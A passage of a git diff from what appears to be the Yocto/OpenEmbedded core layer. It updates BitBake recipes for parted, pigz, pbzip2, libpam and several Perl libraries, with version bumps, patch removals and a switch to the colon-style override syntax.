+do_install_ptest() {
+ if [ ${PTEST_ENABLED} = "1" ]; then
+ mkdir -p ${D}${PTEST_PATH}/tests
+ install -m 0755 ${B}/tests/.libs/* ${D}${PTEST_PATH}/tests
+ install -m 0644 ${S}/tests/confdir ${D}${PTEST_PATH}/tests
+ fi
+}
+
+pkg_postinst:${PN}() {
+ if [ -z "$D" ] && [ -e /etc/init.d/populate-volatile.sh ] ; then
+ /etc/init.d/populate-volatile.sh update
+ fi
+}
+
+inherit features_check
+REQUIRED_DISTRO_FEATURES = "pam"
+
+BBCLASSEXTEND = "nativesdk native"
+
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-session"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-auth"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-password"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-session-noninteractive"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-account"
+CONFFILES:${PN}-runtime += "${sysconfdir}/security/limits.conf"
+
+UPSTREAM_CHECK_URI = "https://github.com/linux-pam/linux-pam/releases"
+
+CVE_PRODUCT = "linux-pam"
diff --git a/meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch b/meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch
deleted file mode 100644
index 829c0c8b78..0000000000
--- a/meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From ddbefd80d74c3baaae328332458db447e1666240 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 27 Apr 2017 16:37:24 +0300
-Subject: [PATCH] Move python helper scripts (used only in tests) to Python 3
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- tests/gpt-header-move | 2 +-
- tests/msdos-overlap | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/tests/gpt-header-move b/tests/gpt-header-move
-index 3dda5cb..a2b9508 100755
---- a/tests/gpt-header-move
-+++ b/tests/gpt-header-move
-@@ -1,4 +1,4 @@
--#!/usr/bin/python
-+#!/usr/bin/env python3
-
- # open img file, subtract 33 from altlba address, and move the last 33 sectors
- # back by 33 sectors
-diff --git a/tests/msdos-overlap b/tests/msdos-overlap
-index d6ae8d6..2c6747b 100755
---- a/tests/msdos-overlap
-+++ b/tests/msdos-overlap
-@@ -1,4 +1,4 @@
--#!/usr/bin/python
-+#!/usr/bin/env python3
- """
- Write an overlapping partition to a msdos disk
-
diff --git a/meta/recipes-extended/parted/files/0001-libparted-fs-add-sourcedir-lib-to-include-paths.patch b/meta/recipes-extended/parted/files/0001-libparted-fs-add-sourcedir-lib-to-include-paths.patch
deleted file mode 100644
index 4dc2ab259d..0000000000
--- a/meta/recipes-extended/parted/files/0001-libparted-fs-add-sourcedir-lib-to-include-paths.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From d60a8a86f6593738b5324ccd8fe3e6d84a1fe7bc Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 11 Dec 2019 14:18:36 +0100
-Subject: [PATCH] libparted/fs: add $sourcedir/lib to include paths
-
-Otherwise, getopt-pfx-core.h won't be found.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- libparted/fs/Makefile.am | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/libparted/fs/Makefile.am b/libparted/fs/Makefile.am
-index 286bff6..65f45d3 100644
---- a/libparted/fs/Makefile.am
-+++ b/libparted/fs/Makefile.am
-@@ -3,7 +3,7 @@
- #
- # This file may be modified and/or distributed without restriction.
-
--partedincludedir = -I$(top_builddir)/include -I$(top_srcdir)/include
-+partedincludedir = -I$(top_builddir)/include -I$(top_srcdir)/include -I$(top_srcdir)/lib
-
- AM_CFLAGS = $(WARN_CFLAGS)
-
diff --git a/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch b/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch
deleted file mode 100644
index bd2b5c55b1..0000000000
--- a/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 5c99d7e4c2b5e7a957dc922aff03debfebbd6154 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@googlemail.com>
-Date: Fri, 3 Mar 2017 21:49:15 +0100
-Subject: [PATCH] libparted_fs_resize: link against libuuid explicitly to
- unbreak gold linking on test
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-| ../libparted/fs/.libs/libparted-fs-resize.so: error: undefined reference to 'uuid_generate'
-
-Upstream-Status: Pending
-
-Signed-off-by: Andreas Müller <schnitzeltony@googlemail.com>
----
- libparted/fs/Makefile.am | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/libparted/fs/Makefile.am b/libparted/fs/Makefile.am
-index d3cc8bc..c301b0b 100644
---- a/libparted/fs/Makefile.am
-+++ b/libparted/fs/Makefile.am
-@@ -113,6 +113,8 @@ libparted_fs_resize_la_SOURCES = \
- r/hfs/reloc_plus.c \
- r/hfs/reloc_plus.h
-
-+libparted_fs_resize_la_LIBADD = $(UUID_LIBS)
-+
- AM_CPPFLAGS = \
- -I$(top_srcdir)/libparted/labels \
- $(partedincludedir) \
---
-2.9.3
-
diff --git a/meta/recipes-extended/parted/files/0002-tests-use-skip_-rather-than-skip_test_-which-is-unde.patch b/meta/recipes-extended/parted/files/0002-tests-use-skip_-rather-than-skip_test_-which-is-unde.patch
deleted file mode 100644
index 9524adf7b8..0000000000
--- a/meta/recipes-extended/parted/files/0002-tests-use-skip_-rather-than-skip_test_-which-is-unde.patch
+++ /dev/null
@@ -1,66 +0,0 @@
-From 9f844484cedb39e301b016e9da7852c1a0fb6eea Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 11 Dec 2019 16:27:48 +0100
-Subject: [PATCH] tests: use skip_ rather than skip_test_ (which is undefined)
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- tests/t6001-psep.sh | 2 +-
- tests/t6004-dm-many-partitions.sh | 2 +-
- tests/t6005-dm-uuid.sh | 2 +-
- tests/t6006-dm-512b-sectors.sh | 2 +-
- 4 files changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/tests/t6001-psep.sh b/tests/t6001-psep.sh
-index e350bd2..67014a0 100644
---- a/tests/t6001-psep.sh
-+++ b/tests/t6001-psep.sh
-@@ -21,7 +21,7 @@
- require_root_
- require_udevadm_settle_
-
--(dmsetup --help) > /dev/null 2>&1 || skip_test_ "No dmsetup installed"
-+(dmsetup --help) > /dev/null 2>&1 || skip_ "No dmsetup installed"
-
- # Device maps names - should be random to not conflict with existing ones on
- # the system
-diff --git a/tests/t6004-dm-many-partitions.sh b/tests/t6004-dm-many-partitions.sh
-index b4be975..7214f60 100755
---- a/tests/t6004-dm-many-partitions.sh
-+++ b/tests/t6004-dm-many-partitions.sh
-@@ -21,7 +21,7 @@
-
- require_root_
- require_udevadm_settle_
--(dmsetup --help) > /dev/null 2>&1 || skip_test_ "No dmsetup installed"
-+(dmsetup --help) > /dev/null 2>&1 || skip_ "No dmsetup installed"
-
- ss=$sector_size_
- ns=300
-diff --git a/tests/t6005-dm-uuid.sh b/tests/t6005-dm-uuid.sh
-index 4266747..4790a8b 100755
---- a/tests/t6005-dm-uuid.sh
-+++ b/tests/t6005-dm-uuid.sh
-@@ -21,7 +21,7 @@
-
- require_root_
- require_udevadm_settle_
--(dmsetup --help) > /dev/null 2>&1 || skip_test_ "No dmsetup installed"
-+(dmsetup --help) > /dev/null 2>&1 || skip_ "No dmsetup installed"
-
- ss=$sector_size_
- ns=300
-diff --git a/tests/t6006-dm-512b-sectors.sh b/tests/t6006-dm-512b-sectors.sh
-index bf32135..b679adb 100644
---- a/tests/t6006-dm-512b-sectors.sh
-+++ b/tests/t6006-dm-512b-sectors.sh
-@@ -25,7 +25,7 @@ require_scsi_debug_module_
- grep '^#define USE_BLKID 1' "$CONFIG_HEADER" > /dev/null ||
- skip_ 'this system lacks a new-enough libblkid'
-
--(dmsetup --help) > /dev/null 2>&1 || skip_test_ "No dmsetup installed"
-+(dmsetup --help) > /dev/null 2>&1 || skip_ "No dmsetup installed"
-
- # Device maps names - should be random to not conflict with existing ones on
- # the system
diff --git a/meta/recipes-extended/parted/files/check-vfat.patch b/meta/recipes-extended/parted/files/check-vfat.patch
new file mode 100644
index 0000000000..fad50292d9
--- /dev/null
+++ b/meta/recipes-extended/parted/files/check-vfat.patch
@@ -0,0 +1,51 @@
+Add checks for both mkfs.vfat and the vfat file system in the kernel before
+running tests.
+
+Upstream-Status: Submitted [https://alioth-lists.debian.net/pipermail/parted-devel/2021-August/005653.html]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/tests/t-lib-helpers.sh b/tests/t-lib-helpers.sh
+index 4c6c75f..2cc7577 100644
+--- a/tests/t-lib-helpers.sh
++++ b/tests/t-lib-helpers.sh
+@@ -418,3 +418,13 @@ require_64bit_()
+ ;;
+ esac
+ }
++
++# Check if the specified filesystem is either built into the kernel, or can be loaded
++# as a module
++# Usage: has_filesystem vfat
++# Ruturns 0 if the filesystem is available, otherwise skips the test
++require_filesystem_()
++{
++ grep -q $1 /proc/filesystems && return 0
++ modprobe --quiet --dry-run $1 || skip_ "this test requires kernel support for $1"
++}
+diff --git a/tests/t1100-busy-label.sh b/tests/t1100-busy-label.sh
+index f1a13df..0f47b08 100755
+--- a/tests/t1100-busy-label.sh
++++ b/tests/t1100-busy-label.sh
+@@ -19,6 +19,9 @@
+ . "${srcdir=.}/init.sh"; path_prepend_ ../parted
+ require_root_
+ require_scsi_debug_module_
++require_fat_
++require_filesystem_ vfat
++
+ ss=$sector_size_
+
+ scsi_debug_setup_ sector_size=$ss dev_size_mb=90 > dev-name ||
+diff --git a/tests/t1101-busy-partition.sh b/tests/t1101-busy-partition.sh
+index e35e6f0..c813848 100755
+--- a/tests/t1101-busy-partition.sh
++++ b/tests/t1101-busy-partition.sh
+@@ -22,6 +22,8 @@ test "$VERBOSE" = yes && parted --version
+
+ require_root_
+ require_scsi_debug_module_
++require_fat_
++require_filesystem_ vfat
+
+ # create memory-backed device
+ scsi_debug_setup_ dev_size_mb=80 > dev-name ||
diff --git a/meta/recipes-extended/parted/files/no_check.patch b/meta/recipes-extended/parted/files/no_check.patch
deleted file mode 100644
index e6a26d11a5..0000000000
--- a/meta/recipes-extended/parted/files/no_check.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-Upstream-Status: Inappropriate [configuration]
-
-If check is detected, it makes the builds non-determinstic so just force
-it to be disabled.
-
-RP - 4/11/08
-
-Index: parted-3.2/configure.ac
-===================================================================
---- parted-3.2.orig/configure.ac
-+++ parted-3.2/configure.ac
-@@ -555,7 +555,7 @@ AC_CHECK_HEADER([execinfo.h], [
- AM_CONDITIONAL([COMPILE_FOR_S390], [test "$host_cpu" = s390 || test "$host_cpu" = s390x])
-
- dnl check for "check", unit testing library/header
--PKG_CHECK_MODULES([CHECK], [check >= 0.9.3], have_check=yes, have_check=no)
-+have_check=no
- if test "$have_check" != "yes"; then
- AC_MSG_RESULT([Unable to locate check version 0.9.3 or higher: not building])
- fi
diff --git a/meta/recipes-extended/parted/files/run-ptest b/meta/recipes-extended/parted/files/run-ptest
index 374f1bfbc9..c3d6fca339 100644
--- a/meta/recipes-extended/parted/files/run-ptest
+++ b/meta/recipes-extended/parted/files/run-ptest
@@ -2,6 +2,6 @@
mkdir -p /etc/udev/mount.blacklist.d
echo /dev/sda1 >> /etc/udev/mount.blacklist.d/parted-tmp
-rm -f *.log
+rm -f tests/*.log
make -C tests test-suite.log
rm /etc/udev/mount.blacklist.d/parted-tmp
diff --git a/meta/recipes-extended/parted/parted_3.3.bb b/meta/recipes-extended/parted/parted_3.3.bb
deleted file mode 100644
index a1fd3ef07b..0000000000
--- a/meta/recipes-extended/parted/parted_3.3.bb
+++ /dev/null
@@ -1,59 +0,0 @@
-SUMMARY = "Disk partition editing/resizing utility"
-HOMEPAGE = "http://www.gnu.org/software/parted/parted.html"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2f31b266d3440dd7ee50f92cf67d8e6c"
-SECTION = "console/tools"
-DEPENDS = "ncurses readline util-linux virtual/libiconv"
-
-SRC_URI = "${GNU_MIRROR}/parted/parted-${PV}.tar.xz \
- file://no_check.patch \
- file://fix-doc-mandir.patch \
- file://0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch \
- file://0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch \
- file://run-ptest \
- file://0001-libparted-fs-add-sourcedir-lib-to-include-paths.patch \
- file://0002-tests-use-skip_-rather-than-skip_test_-which-is-unde.patch \
- "
-
-SRC_URI[md5sum] = "090655d05f3c471aa8e15a27536889ec"
-SRC_URI[sha256sum] = "57e2b4bd87018625c515421d4524f6e3b55175b472302056391c5f7eccb83d44"
-
-EXTRA_OECONF = "--disable-device-mapper"
-
-inherit autotools pkgconfig gettext texinfo ptest
-
-BBCLASSEXTEND = "native nativesdk"
-
-do_compile_ptest() {
- oe_runmake -C tests print-align print-max dup-clobber duplicate fs-resize print-flags
-}
-
-do_install_ptest() {
- t=${D}${PTEST_PATH}
- mkdir $t/build-aux
- cp ${S}/build-aux/test-driver $t/build-aux/
- cp -r ${S}/tests $t
- cp ${B}/tests/Makefile $t/tests/
- sed -i "s|^VERSION.*|VERSION = ${PV}|g" $t/tests/Makefile
- sed -i "s|^srcdir =.*|srcdir = \.|g" $t/tests/Makefile
- sed -i "s|^abs_srcdir =.*|abs_srcdir = \.|g" $t/tests/Makefile
- sed -i "s|^abs_top_srcdir =.*|abs_top_srcdir = \.\.|g" $t/tests/Makefile
- sed -i "s|^Makefile:.*|Makefile:|g" $t/tests/Makefile
- for i in print-align print-max print-flags dup-clobber duplicate fs-resize; \
- do cp ${B}/tests/.libs/$i $t/tests/; \
- done
- sed -e 's| ../parted||' -i $t/tests/*.sh
-}
-
-RDEPENDS_${PN}-ptest = "bash coreutils perl util-linux-losetup python3 make gawk e2fsprogs-mke2fs"
-RRECOMMENDS_${PN}-ptest = "kernel-module-scsi-debug"
-RDEPENDS_${PN}-ptest_append_libc-glibc = "\
- glibc-utils \
- locale-base-en-us \
- "
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "partprobe"
-ALTERNATIVE_LINK_NAME[partprobe] = "${sbindir}/partprobe"
diff --git a/meta/recipes-extended/parted/parted_3.4.bb b/meta/recipes-extended/parted/parted_3.4.bb
new file mode 100644
index 0000000000..ffab627110
--- /dev/null
+++ b/meta/recipes-extended/parted/parted_3.4.bb
@@ -0,0 +1,62 @@
+SUMMARY = "Disk partition editing/resizing utility"
+HOMEPAGE = "http://www.gnu.org/software/parted/parted.html"
+DESCRIPTION = "GNU Parted manipulates partition tables. This is useful for creating space for new operating systems, reorganizing disk usage, copying data on hard disks and disk imaging."
+LICENSE = "GPLv3+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2f31b266d3440dd7ee50f92cf67d8e6c"
+SECTION = "console/tools"
+DEPENDS = "ncurses util-linux virtual/libiconv"
+
+SRC_URI = "${GNU_MIRROR}/parted/parted-${PV}.tar.xz \
+ file://fix-doc-mandir.patch \
+ file://run-ptest \
+ file://check-vfat.patch \
+ "
+
+SRC_URI[md5sum] = "357d19387c6e7bc4a8a90fe2d015fe80"
+SRC_URI[sha256sum] = "e1298022472da5589b7f2be1d5ee3c1b66ec3d96dfbad03dc642afd009da5342"
+
+inherit autotools pkgconfig gettext texinfo ptest
+
+PACKAGECONFIG ?= "readline"
+PACKAGECONFIG[device-mapper] = "--enable-device-mapper,--disable-device-mapper,libdevmapper lvm2"
+PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
+
+BBCLASSEXTEND = "native nativesdk"
+
+do_compile_ptest() {
+ oe_runmake -C tests print-align print-max dup-clobber duplicate fs-resize print-flags
+}
+
+do_install_ptest() {
+ t=${D}${PTEST_PATH}
+ mkdir $t/build-aux
+ cp ${S}/build-aux/test-driver $t/build-aux/
+ cp -r ${S}/tests $t
+ cp ${B}/tests/Makefile $t/tests/
+ mkdir $t/lib
+ cp ${B}/lib/config.h $t/lib
+ sed -i "s|^VERSION.*|VERSION = ${PV}|g" $t/tests/Makefile
+ sed -i "s|^srcdir =.*|srcdir = \.|g" $t/tests/Makefile
+ sed -i "s|^abs_srcdir =.*|abs_srcdir = \.|g" $t/tests/Makefile
+ sed -i "s|^abs_top_srcdir =.*|abs_top_srcdir = "${PTEST_PATH}"|g" $t/tests/Makefile
+ sed -i "s|^abs_top_builddir =.*|abs_top_builddir = "${PTEST_PATH}"|g" $t/tests/Makefile
+ sed -i "s|^Makefile:.*|Makefile:|g" $t/tests/Makefile
+ sed -i "/^BUILDINFO.*$/d" $t/tests/Makefile
+ for i in print-align print-max print-flags dup-clobber duplicate fs-resize; \
+ do cp ${B}/tests/.libs/$i $t/tests/; \
+ done
+ sed -e 's| ../parted||' -i $t/tests/*.sh
+}
+
+RDEPENDS:${PN}-ptest = "bash coreutils perl util-linux-losetup util-linux-mkswap python3 make gawk e2fsprogs-mke2fs e2fsprogs-tune2fs python3-core dosfstools"
+RRECOMMENDS:${PN}-ptest += "kernel-module-scsi-debug kernel-module-loop kernel-module-vfat"
+RDEPENDS:${PN}-ptest:append:libc-glibc = "\
+ glibc-utils \
+ locale-base-en-us \
+ "
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "partprobe"
+ALTERNATIVE_LINK_NAME[partprobe] = "${sbindir}/partprobe"
diff --git a/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb b/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
index ed21d81179..3fa89dec9a 100644
--- a/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
+++ b/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
@@ -9,7 +9,7 @@ LICENSE = "bzip2-1.0.6"
LIC_FILES_CHKSUM = "file://COPYING;md5=398b8832c6f840cfebd20ab2be6a3743"
DEPENDS = "bzip2"
-DEPENDS_append_class-native = " bzip2-replacement-native"
+DEPENDS:append:class-native = " bzip2-replacement-native"
SRC_URI = "https://launchpad.net/${BPN}/1.1/${PV}/+download/${BP}.tar.gz \
file://0001-pbzip2-Fix-invalid-suffix-on-literal-C-11-warning.patch \
diff --git a/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb b/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb
deleted file mode 100644
index 9f992d3e83..0000000000
--- a/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "Convert::ASN1 - Perl ASN.1 Encode/Decode library"
-SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-LIC_FILES_CHKSUM = "file://README.md;beginline=91;endline=97;md5=ceff7fd286eb6d8e8e0d3d23e096a63f"
-
-SRC_URI = "http://search.cpan.org/CPAN/authors/id/G/GB/GBARR/Convert-ASN1-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "68723e96be0b258a9e20480276e8a62c"
-SRC_URI[sha256sum] = "74a4a78ae0c5e973100ac0a8f203a110f76fb047b79dae4fc1fd7d6814d3d58a"
-
-S = "${WORKDIR}/Convert-ASN1-${PV}"
-
-inherit cpan ptest-perl
-
-EXTRA_PERLFLAGS = "-I ${PERLHOSTLIB}"
-
-RDEPENDS_${PN} += "perl-module-exporter perl-module-constant perl-module-encode perl-module-encode-encoding perl-module-utf8 perl-module-socket perl-module-time-local perl-module-posix"
-RDEPENDS_${PN}-ptest += "perl-module-math-bigint perl-module-io-socket perl-module-data-dumper perl-module-math-bigint-calc"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/perl/libconvert-asn1-perl_0.33.bb b/meta/recipes-extended/perl/libconvert-asn1-perl_0.33.bb
new file mode 100644
index 0000000000..4f5a78df14
--- /dev/null
+++ b/meta/recipes-extended/perl/libconvert-asn1-perl_0.33.bb
@@ -0,0 +1,21 @@
+SUMMARY = "Convert::ASN1 - Perl ASN.1 Encode/Decode library"
+SECTION = "libs"
+HOMEPAGE = "http://search.cpan.org/dist/Convert-ASN1/"
+DESCRIPTION = "Convert::ASN1 is a perl library for encoding/decoding data using ASN.1 definitions."
+LICENSE = "Artistic-1.0 | GPL-1.0+"
+LIC_FILES_CHKSUM = "file://README.md;beginline=91;endline=97;md5=ceff7fd286eb6d8e8e0d3d23e096a63f"
+
+SRC_URI = "https://cpan.metacpan.org/authors/id/T/TI/TIMLEGGE/Convert-ASN1-${PV}.tar.gz"
+
+SRC_URI[sha256sum] = "1fdf004520c79e3a244cf9688616293516c11793d746c761f367496eb3d06076"
+
+S = "${WORKDIR}/Convert-ASN1-${PV}"
+
+inherit cpan ptest-perl
+
+EXTRA_PERLFLAGS = "-I ${PERLHOSTLIB}"
+
+RDEPENDS:${PN} += "perl-module-exporter perl-module-constant perl-module-encode perl-module-encode-encoding perl-module-utf8 perl-module-socket perl-module-time-local perl-module-posix"
+RDEPENDS:${PN}-ptest += "perl-module-math-bigint perl-module-io-socket perl-module-data-dumper perl-module-math-bigint-calc"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/perl/libtimedate-perl_2.30.bb b/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
index 7219c7d11e..7c5e99063c 100644
--- a/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
+++ b/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
@@ -1,5 +1,6 @@
SUMMARY = "Perl modules useful for manipulating date and time information"
HOMEPAGE = "https://metacpan.org/release/TimeDate"
+DESCRIPTION = "This is the perl5 TimeDate distribution. It requires perl version 5.003 or later."
SECTION = "libs"
# You can redistribute it and/or modify it under the same terms as Perl itself.
LICENSE = "Artistic-1.0 | GPL-1.0+"
@@ -13,9 +14,8 @@ inherit cpan ptest-perl
BBCLASSEXTEND = "native"
-RDEPENDS_${PN}_class-native = ""
-RDEPENDS_${PN} += "perl-module-carp perl-module-exporter perl-module-strict perl-module-time-local"
-RDEPENDS_${PN}-ptest += "perl-module-test-more perl-module-utf8"
+RDEPENDS:${PN} += "perl-module-carp perl-module-exporter perl-module-strict perl-module-time-local"
+RDEPENDS:${PN}-ptest += "perl-module-test-more perl-module-utf8"
SRC_URI[md5sum] = "b1d91153ac971347aee84292ed886c1c"
SRC_URI[sha256sum] = "75bd254871cb5853a6aa0403ac0be270cdd75c9d1b6639f18ecba63c15298e86"
diff --git a/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb b/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb
index 57c407e0f8..03bf0b6ff8 100644
--- a/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb
+++ b/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb
@@ -21,7 +21,7 @@ S = "${WORKDIR}/${SRCNAME}-${PV}"
inherit cpan ptest-perl
-RDEPENDS_${PN}-ptest += "perl-module-test-more"
+RDEPENDS:${PN}-ptest += "perl-module-test-more"
BBCLASSEXTEND="native nativesdk"
diff --git a/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb b/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
index 2bff65a082..790ff51558 100644
--- a/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
+++ b/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
@@ -8,7 +8,7 @@ implement the characters() callback."
SECTION = "libs"
LICENSE = "Artistic-1.0 | GPL-1.0+"
-RDEPENDS_${PN} += "perl-module-extutils-makemaker"
+RDEPENDS:${PN} += "perl-module-extutils-makemaker"
LIC_FILES_CHKSUM = "file://dist.ini;endline=5;md5=8f9c9a55340aefaee6e9704c88466446"
@@ -21,6 +21,6 @@ S = "${WORKDIR}/XML-SAX-Base-${PV}"
inherit cpan ptest-perl
-RDEPENDS_${PN}-ptest += "perl-module-test perl-module-test-more"
+RDEPENDS:${PN}-ptest += "perl-module-test perl-module-test-more"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb b/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb
index 02ee34ee17..9aa6fd050d 100644
--- a/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb
+++ b/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb
@@ -11,7 +11,7 @@ javaness."
SECTION = "libs"
LICENSE = "Artistic-1.0 | GPL-1.0+"
DEPENDS += "libxml-namespacesupport-perl-native"
-RDEPENDS_${PN} += "libxml-namespacesupport-perl libxml-sax-base-perl perl-module-file-temp"
+RDEPENDS:${PN} += "libxml-namespacesupport-perl libxml-sax-base-perl perl-module-file-temp"
LIC_FILES_CHKSUM = "file://LICENSE;md5=65c4cd8f39c24c7135ed70dacbcb09e3"
@@ -29,9 +29,9 @@ do_install_ptest() {
chown -R root:root ${D}${PTEST_PATH}/testfiles
}
-RDEPENDS_${PN} += "perl-module-encode perl-module-perlio"
+RDEPENDS:${PN} += "perl-module-encode perl-module-perlio"
-RDEPENDS_${PN}-ptest += " \
+RDEPENDS:${PN}-ptest += " \
perl-module-base \
perl-module-encode-byte \
perl-module-encode-unicode \
diff --git a/meta/recipes-extended/pigz/pigz_2.4.bb b/meta/recipes-extended/pigz/pigz_2.4.bb
deleted file mode 100644
index 8c65ec34f0..0000000000
--- a/meta/recipes-extended/pigz/pigz_2.4.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "A parallel implementation of gzip"
-DESCRIPTION = "pigz, which stands for parallel implementation of gzip, is a \
-fully functional replacement for gzip that exploits multiple processors and \
-multiple cores to the hilt when compressing data. pigz was written by Mark \
-Adler, and uses the zlib and pthread libraries."
-HOMEPAGE = "http://zlib.net/pigz/"
-SECTION = "console/utils"
-LICENSE = "Zlib & Apache-2.0"
-LIC_FILES_CHKSUM = "file://pigz.c;md5=9ae6dee8ceba9610596ed0ada493d142;beginline=7;endline=21"
-
-SRC_URI = "http://zlib.net/${BPN}/fossils/${BP}.tar.gz"
-SRC_URI[md5sum] = "def2f6e19d9d8231445adc1349d346df"
-SRC_URI[sha256sum] = "a4f816222a7b4269bd232680590b579ccc72591f1bb5adafcd7208ca77e14f73"
-PROVIDES_class-native += "gzip-native"
-
-# Point this at the homepage in case /fossils/ isn't updated
-UPSTREAM_CHECK_URI = "http://zlib.net/${BPN}/"
-UPSTREAM_CHECK_REGEX = "pigz-(?P<pver>.*)\.tar"
-
-DEPENDS = "zlib"
-
-EXTRA_OEMAKE = "-e MAKEFLAGS="
-
-inherit update-alternatives
-
-do_install() {
- # Install files into /bin (FHS), which is typical place for gzip
- install -d ${D}${base_bindir}
- install ${B}/pigz ${D}${base_bindir}/pigz
- ln -nsf pigz ${D}${base_bindir}/unpigz
- ln -nsf pigz ${D}${base_bindir}/pigzcat
-}
-
-do_install_append_class-native() {
- install -d ${D}${bindir}
- install ${B}/pigz ${D}${bindir}/gzip
- ln -nsf gzip ${D}${bindir}/gunzip
- ln -nsf gzip ${D}${bindir}/zcat
-}
-
-ALTERNATIVE_PRIORITY = "110"
-ALTERNATIVE_${PN} = "gunzip gzip zcat"
-ALTERNATIVE_${PN}_class-nativesdk = ""
-ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip"
-ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip"
-ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat"
-ALTERNATIVE_TARGET = "${base_bindir}/pigz"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/pigz/pigz_2.6.bb b/meta/recipes-extended/pigz/pigz_2.6.bb
new file mode 100644
index 0000000000..3566e18b7e
--- /dev/null
+++ b/meta/recipes-extended/pigz/pigz_2.6.bb
@@ -0,0 +1,48 @@
+SUMMARY = "A parallel implementation of gzip"
+DESCRIPTION = "pigz, which stands for parallel implementation of gzip, is a \
+fully functional replacement for gzip that exploits multiple processors and \
+multiple cores to the hilt when compressing data. pigz was written by Mark \
+Adler, and uses the zlib and pthread libraries."
+HOMEPAGE = "http://zlib.net/pigz/"
+SECTION = "console/utils"
+LICENSE = "Zlib & Apache-2.0"
+LIC_FILES_CHKSUM = "file://pigz.c;md5=9ae6dee8ceba9610596ed0ada493d142;beginline=7;endline=21"
+
+SRC_URI = "http://zlib.net/${BPN}/fossils/${BP}.tar.gz"
+SRC_URI[sha256sum] = "2eed7b0d7449d1d70903f2a62cd6005d262eb3a8c9e98687bc8cbb5809db2a7d"
+PROVIDES:class-native += "gzip-native"
+
+# Point this at the homepage in case /fossils/ isn't updated
+UPSTREAM_CHECK_URI = "http://zlib.net/${BPN}/"
+UPSTREAM_CHECK_REGEX = "pigz-(?P<pver>.*)\.tar"
+
+DEPENDS = "zlib"
+
+EXTRA_OEMAKE = "-e MAKEFLAGS="
+
+inherit update-alternatives
+
+do_install() {
+ # Install files into /bin (FHS), which is typical place for gzip
+ install -d ${D}${base_bindir}
